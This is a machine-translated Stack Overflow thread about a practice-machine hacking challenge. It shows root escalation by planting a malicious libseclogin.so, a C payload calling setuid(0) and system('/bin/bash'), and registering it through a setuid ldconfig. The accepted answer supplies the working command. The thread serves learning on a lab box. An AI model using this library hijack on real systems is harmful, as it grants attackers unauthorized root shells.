This question was migrated from Super User because it can be answered on Stack Overflow. Migrated26个月前。Learn more。
我目前正在做一个关于黑客攻击的挑战,我正试图在一个练习机上获得一个现有的可执行文件来代替一个“脆弱”脚本中缺少的一个。
缺少的库是libseclogin.so
。我在/dev/shm
中创建了一个新文件,并尝试从中使用ldconfig
手动链接新库,以便在运行myexec
时将我放入shell。ldconfig
设置了粘性位。
下面是我运行的命令。最后,您可以看到,当我再次运行ldd
以检查库是否已重新链接到/dev/shm/libseclogin.so
时,没有任何更改。
我在这个过程中遗漏了什么吗?
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
genevieve@dab:/dev/shm$ ls -la /sbin/ldconfig
-rwsr-sr-x 1 root root 387 Jan 14 2018 /sbin/ldconfig
genevieve@dab:/dev/shm$ nano libseclogin.c
genevieve@dab:/dev/shm$ gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
libseclogin.c: In function ‘main’:
libseclogin.c:4:2: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
setuid(0);
^
libseclogin.c:5:2: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
setgid(0);
^
libseclogin.c:6:2: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
system("/bin/bash");
^
genevieve@dab:/dev/shm$ chmod +x libseclogin.so
genevieve@dab:/dev/shm$ ldconfig -l /dev/shm/libseclogin.so
genevieve@dab:/dev/shm$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/dev/shm
genevieve@dab:/dev/shm$ echo $LD_LIBRARY_PATH
:/dev/shm
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffc5f7f0000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007eff487fa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007eff48430000)
/lib64/ld-linux-x86-64.so.2 (0x00007eff489fc000)
genevieve@dab:/dev/shm$
这是我用来放入外壳的基本scipt。
#include <stdio.h>
int main(void) {
setuid(0);
setgid(0);
system("/bin/bash");
}
编译命令以创建共享库。
C
最佳答案
问题主要是由于我使用了ldconfig
。
一旦我在没有显式指定so
文件的情况下运行它,这似乎就纠正了问题。
正确的命令…ldconfig /dev/shm
而不是。。。ldconfig /dev/shm/libseclogin.c
然后当我运行ldd myexec
时,我得到了正确的输出。
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /dev/shm/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
07-24 09:45